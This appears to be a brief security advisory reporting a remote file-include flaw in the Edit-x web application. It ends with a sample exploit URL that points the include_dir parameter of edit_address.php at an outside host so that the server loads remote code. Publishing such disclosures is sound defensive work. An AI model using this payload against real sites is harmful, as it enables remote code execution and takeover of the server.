source: https://www.securityfocus.com/bid/21974/info

Edit-x is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[editxPATH]/editx/edit_address.php?include_dir=HTTP://www.example2.com